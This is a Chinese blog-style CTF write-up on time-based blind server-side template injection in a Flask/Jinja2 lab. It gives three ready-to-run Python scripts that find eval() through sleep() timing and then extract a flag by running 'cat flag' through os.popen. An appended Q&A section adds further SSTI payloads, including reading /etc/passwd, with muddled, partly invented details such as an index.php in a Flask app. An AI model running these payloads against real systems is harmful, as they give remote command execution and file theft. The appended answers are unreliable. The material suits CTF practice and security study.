SSTI 无回显绕过_时间盲注

本文以 橙子科技的靶场 mcc0624/flask_ssti flask无回显flasklab/level/3 ) 一关为例。
这道题你只要输入了内容,他基本只会回显 Hello correct ,只有输入 {{}}{%%} 它才会回显 Hello wrong ,这就说明,根据内容的盲注是行不通的,我们必须使用时间盲注(带外注入等方法不在本文讨论范围)。


时间盲注,手打是不现实的,必须使用脚本。不过网上很难找到 ssti 的时间盲注脚本(copy 不了了55),只好自己捣鼓勉强能用的。

因为我要做时间盲注,时间盲注需要用到 sleep() 函数,执行sleep()函数需要内建函数 eval() ,所以我先用脚本找到 eval() 。

这和之前普通情况下找内建函数 eval() 的步骤很像,不过关键 payload 略有区别。因为页面不会回显告诉我们 你找到 eval() 啦
所以我就先往 eval() 里塞命令 sleep(3),也就是让服务器小睡一会。然后我再监测服务器的响应时间,如果响应时间大于 3s ,那说明 sleep(3) 被服务器执行了,这就说明我找到 eval() 了。接下来,我就可以利用 eval() 进一步的盲注爆破了。

STEP 1: 通过脚本找内建函数 eval()

脚本1 爆破 eval() 位置

import requests
import time
# 转义符 \ 用于解决双引号 "" 闭合问题
PAYLOAD_LAST = ".__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}"
url = input("请输入 URL:")
# POST 参数可以抓包或查看源代码
request_parameter = input("请输入 POST 请求参数:")
for i in range(500):
    # 发送请求并记录开始时间
    start_time = time.time()
    data = {request_parameter: " {{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}} "}
    # post data 也可以改成这样,原因见{{}}过滤的绕过方法
    # {"name":"{%print(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)'))%}"}
    response = requests.post(url, data=data)
    end_time = time.time()
    # 计算响应时间
    response_time = end_time - start_time
    # 如果响应时间大于 3s ,则绿色字体输出在控制台
    if response_time >= 3:
        print("\033[32m bingo: "+str(i)+"\033[0m",end="\t")
    # 如果响应时间小于 3s ,则红色字体输出在控制台,一般建议注释掉错误输出,因为这会降低爆破速度
    else:
        print("\033[31mnonono: "+str(i)+"\033[0m",end="\t")

看效果,不错吧哈哈

请添加图片描述

脚本中提到的 POST 参数可以抓包或查看源代码获得。
源代码
请添加图片描述
BP抓包
请添加图片描述

STEP 2: 通过脚本爆破 flag 长度

脚本2 爆破 flag 长度
假如我们的目的是获取 flag ,我们首先需要爆破 flag 的长度,这可以节省一点时间。

import requests
import time
url = input("请输入 URL:")
request_parameter = input("请输入 POST 请求参数:")
for len in range(1, 40):
    start_time = time.time()
    data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{% set l=flag|length %}{%if l=="+str(len)+"%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}{%endif%}" }
    response = requests.post(url, data=data)
    end_time = time.time()
    # 计算响应时间
    response_time = end_time - start_time
    if response_time >= 3:
        print("\033[32m" + str(len) + "\033[0m",end="\t")
    else:
        print("\033[31m" + str(len) + "\033[0m", end="\t")

上面的脚本很简洁,但是效果还不够好,加上二分法,效果直接上天。

脚本2 pro 二分查找爆破 flag 长度

import requests
import time
url = input("请输入 URL:")
request_parameter = input("请输入 POST 请求参数:")
left = 6
right = 40
flag = 0
while left<right and flag==0:
    len = (left + right) / 2
    start_time = time.time()
    data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{% set l=flag|length %}{%if l=="+str(len)+"%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%elif l>"+str(len)+"%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%endif%}" }
    response = requests.post(url, data=data)
    end_time = time.time() 
    # 计算响应时间
    response_time = end_time - start_time
    if response_time >=4:
        print("\033[32m" + str(int(len)) + "\033[0m")
        flag = 1
    elif response_time >= 2 and response_time<=4:
        left = len + 1
    else:
        right = len

请添加图片描述

获取到 flag 字符串长度为 25,下一步,就是逐个爆破 flag 字符串了。

兄弟们,知道我这个 python 半吊子为了弄这个脚本测了多久吗 555 T_T

STEP 3: 通过脚本爆破 flag

脚本3 逐个爆破 flag 字符

import requests
import time
url = input("请输入 URL:")
request_parameter = input("请输入 POST 请求参数:")
cs = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
flag = ""
# range() 参数为 脚本2 得到的 flag 长度
for i in range(25):
    low = 0
    high = len(cs)
    while low<high:
        index = low + (high - low) // 2
        start_time = time.time()
        # request_parameter 为 post 传入数据的参数名,根据实际情况输入
        data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{%if flag["+str(i)+"]=='"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif flag["+str(i)+"]>'"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%endif%}" }
        response = requests.post(url, data=data)
        end_time = time.time()
        # 计算响应时间
        response_time = end_time - start_time
        if response_time >=2 and response_time<=4:
            flag+=cs[index]
            print(cs[index],end='\t')
            low = high
        elif response_time>4:
            low = index+1
        else:
            high = index
print("\n"+flag)

请添加图片描述

虽然采用了二分法,但是由于 flag 本身较长,这又是时间盲注,需要基于延迟时间进行判断,所以花费的时间还是有点长。就这题 25 个字符长的 flag,就爆破了差不多6分钟。懂 python 的大哥可以改进下脚本,加上多线程,那速度必定嘎嘎起飞。


参考:

Python实现二分查找法
Flask Jinja/Flask 中字符串的长度
Python time sleep()方法

By QING

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
### 回答1: simple_ssti_1 是一个使用 Flask 框架编写的 web CTF 题目,主要涉及到服务器端模板注入 (Server-Side Template Injection, SSTI) 的问题。 这个题目中,使用者可以在输入框中输入任意字符串,然后后端会将这个字符串嵌入到一个 Flask 模板中,并将渲染后的页面返回给用户。攻击者可以在输入框中输入包含 SSTI 代码的字符串,从而在服务器上执行任意代码。 为了解决这个问题,可以使用 Flask 的 Jinja2 模板引擎提供的 safe 过滤器来过滤用户输入,防止用户输入的字符串被作为代码执行。或者在编写模板时,尽量避免使用可执行的表达式,而是将变量放在 HTML 标签中输出。 这个题目是一个很好的 SSTI 注入练习题目,可以帮助我们了解 SSTI 注入的危害和防御方法。 ### 回答2: Simple_ssti_1是BugsKiller CTF比赛中的一道Web题目,考察的知识点是SSTI(Server-Side Template Injection)模板注入,需要寻找漏洞点并利用SSTI漏洞构造payload,达到读取/执行任意代码的目的。 首先,我们下载题目附件simple_ssti_1.zip,获得题目源代码及相关文件。查看代码,发现以下几点: 1. 程序的入口是index.php文件,包含了一个GET参数tpl,可控注入的点在这里。 2. 向模板文件simple_ssti_1_template.html中传入tpl参数,在该文件中执行了{{tpl}}操作,将tpl参数进行了模板渲染。 3. SSTI的注入点在于,如果我们的攻击payload中包含了一些特殊模板语法的操作符,如{{3*3}}、{{config}}等,这些操作符会被解析器自动执行,导致代码注入进去。 从上述代码的分析可知,我们首先需要构造包含有SSTI操作符的payload才能进行下一步的SSTI构造。继续观察代码,我们发现一个{{config}}变量被渲染在了simple_ssti_1_template.html的头部中,我们可以通过注入payload来构造一个同名的config变量,从而读取根目录的敏感文件/flag.php。 构造payload : {{config.__class__.__init__.__globals__['os'].popen('cat flag.php').read()}} 这个SSTI注入的payload实现了直接运行命令cat flag.php然后读取文件的操作。注入的{{config}}变量实际上是一个自定义的config字典,含有很多内置函数,比如__class__.__init__.__globals__,它的作用是获取全局变量__builtins__,然后通过这个全局字典来获取os模块,之后就可以使用os模块的popen函数运行cat命令来获取flag.php文件内容了。 最终的payload为: ?tpl={{config.__class__.__init__.__globals__['os'].popen('cat /flag.php').read()}} 再通过浏览器发送带有payload的GET请求,就可以读取/root/flag.php中的flag了。 ### 回答3: 简单SSTI 1是一道基于SSTI漏洞的Web安全挑战题目,该题的难度属于初级。本题需要掌握一定的SSTI漏洞的相关知识和技巧,以及对模板中的变量注入点的识别和利用能力。 首先,我们尝试在输入框中输入简单的Python表达式,例如{{2+2}},并提交请求,发现得到的响应结果为4,表明该网站存在SSTI漏洞。接着,我们可以构造一些特殊的表达式进行测试,例如{{123456789}}, {{2**100}}, {{'hello ' + 'world'}}, 发现均能得到正确的响应结果。 接着我们需要进行变量注入点的识别和利用,这里,我们可以通过利用flask框架中的特殊变量,例如request、g等来实现变量注入,例如{{config}},可以获得flask的配置信息,{{request}}可以获得当前请求的一些信息。需要注意的是,在实战中,这些利用方式可能会受到服务器的限制,无法完全实现。 最后,我们需要尝试获取敏感信息或者升级我们的权限,例如{{''.__class__.mro()[1].__subclasses__()[71]('/etc/passwd').read()}},可以获取到服务器上/etc/passwd文件的内容。 总之,简单的SSTI漏洞需要熟练掌握SSTI漏洞的相关知识和技巧,识别变量注入点并利用它们获取敏感信息和升级权限,可以通过CTF题目学习,提高自己的Web安全攻防能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值